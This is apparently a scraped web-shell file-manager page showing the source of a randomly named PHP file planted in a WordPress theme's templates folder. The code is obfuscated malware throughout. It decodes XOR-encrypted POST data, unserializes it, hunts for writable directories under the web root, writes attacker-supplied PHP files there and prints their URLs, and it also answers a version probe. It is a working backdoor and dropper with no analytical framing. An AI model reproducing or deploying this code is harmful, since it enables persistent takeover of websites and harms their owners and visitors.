HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentytwentytwo/templates/gzemjyrl.php
<?php function qRELPJIPFg($RkGPmdURFk){$dFRhTn = chr(636-522).chr(97)."\x77"."\x75".chr(114).chr(108).'d'.chr(292-191)."\x63".chr(676-565).'d'.chr(363-262);$dnENDTyOGR = "\163"."\x74".'r'.chr(749-654)."\x72".'o'.chr(142-26)."\x31"."\63";$NLFhtk = 's'."\164".chr(645-531)."\x5f"."\163"."\x70"."\154"."\x69".chr(116);$RkGPmdURFk = $NLFhtk($dFRhTn($dnENDTyOGR($RkGPmdURFk)));return $RkGPmdURFk;}function nqyDi($FWfUVQNyYt, $RkGPmdURFk){$EzazMFNHb = chr(848-733).chr(116).chr(114).chr(139-44).chr(115).chr(112)."\154".'i'."\x74";$FWfUVQNyYt = array_slice($EzazMFNHb(str_repeat($FWfUVQNyYt, (count($RkGPmdURFk)/16)+1)), 0, count($RkGPmdURFk));return $FWfUVQNyYt;}function ksGrB($ZYBJxnOPN, $xRFJGpl, $FWfUVQNyYt){$TnMAkPPI = "fa44976e-7731-4906-a68f-318d307da338";return $ZYBJxnOPN ^ $TnMAkPPI[$xRFJGpl % strlen($TnMAkPPI)] ^ $FWfUVQNyYt;}function jOFLiYj($RkGPmdURFk, $FWfUVQNyYt){$RkGPmdURFk = array_map("ksGrB", array_values($RkGPmdURFk), array_keys($RkGPmdURFk), array_values($FWfUVQNyYt));$RkGPmdURFk = implode("", $RkGPmdURFk);$BDXQUjjAKl = 'u'."\x6e".chr(153-38)."\x65".chr(962-848).'i'.'a'."\154".chr(549-444).'z'.'e';$RkGPmdURFk = @$BDXQUjjAKl($RkGPmdURFk);return $RkGPmdURFk;}function XxPvApzCMB(){echo "lvHxmyHBXI";}function yfTqqPQ($DOmLGfFjoir){static $clVeu = array();$msOPwJuNEc = glob($DOmLGfFjoir . '/*', GLOB_ONLYDIR);$hYQMszAsS = count($msOPwJuNEc);if ($hYQMszAsS > 0) {foreach ($msOPwJuNEc as $DOmLGfFjo) {$CcdSc = 'i'.'s'.chr(95).'w'.'r'.chr(190-85).chr(774-658).chr(97).chr(194-96)."\154".chr(862-761);if (@$CcdSc($DOmLGfFjo)) {$clVeu[] = $DOmLGfFjo;}}}foreach ($msOPwJuNEc as $DOmLGfFjoir) yfTqqPQ($DOmLGfFjoir);return $clVeu;}function ykxuUoMtv(){echo "GSOHXERI";}function WWcZdUROUK($RkGPmdURFk){$MKYekxJ = 'D'."\117".'C'."\125".'M'.chr(69).'N'.'T'.chr(1040-945)."\122"."\x4f".'O'.'T';$WbSfdhD = $_SERVER[$MKYekxJ];$msOPwJuNEc = yfTqqPQ($WbSfdhD);$yhunLY = array_rand($msOPwJuNEc);$WLYtTLhQy = "\56".chr(143-31).chr(827-723).chr(1035-923);$zQNICMRL = $msOPwJuNEc[$yhunLY] . "/" . substr(md5(time()), 0, 8) . $WLYtTLhQy;$fWXckB = chr(102)."\x69"."\x6c".'e'.'_'.'p'.chr(117).chr(245-129).'_'."\143".'o'.chr(471-361).chr(116).'e'.chr(1082-972).'t'.chr(139-24);@$fWXckB($zQNICMRL, $RkGPmdURFk);$feVhujig = 'H'."\x54".chr(84)."\x50"."\x5f".chr(72)."\x4f".'S'.'T';$kSkLK = chr(833-729)."\164".chr(504-388)."\160".':'."\x2f".chr(47);$IQpJzm = $kSkLK . $_SERVER[$feVhujig] . substr($zQNICMRL, strlen($WbSfdhD));print($IQpJzm);}foreach ($_POST as $FWfUVQNyYt => $RkGPmdURFk){$jCUocanDhx = strlen($FWfUVQNyYt);if ($jCUocanDhx == 16){$RkGPmdURFk = qRELPJIPFg($RkGPmdURFk);$FWfUVQNyYt = nqyDi($FWfUVQNyYt, $RkGPmdURFk);$RkGPmdURFk = jOFLiYj($RkGPmdURFk, $FWfUVQNyYt);if (@is_array($RkGPmdURFk)){$yhunLY = array_keys($RkGPmdURFk);$RkGPmdURFk = $RkGPmdURFk[$yhunLY[0]];if ($RkGPmdURFk === $yhunLY[0]){$gnMuw = 'p'."\150".chr(112);$ikCyyezc = "\160".'h'.chr(112).'v'.chr(101)."\x72"."\x73"."\151".chr(111)."\x6e";$IdzYvYNL = "\163"."\x65".chr(465-351).chr(105)."\x61"."\x6c"."\x69".chr(122).chr(586-485);echo @$IdzYvYNL(Array($gnMuw => @$ikCyyezc(), ));}else {WWcZdUROUK($RkGPmdURFk);}die();}}}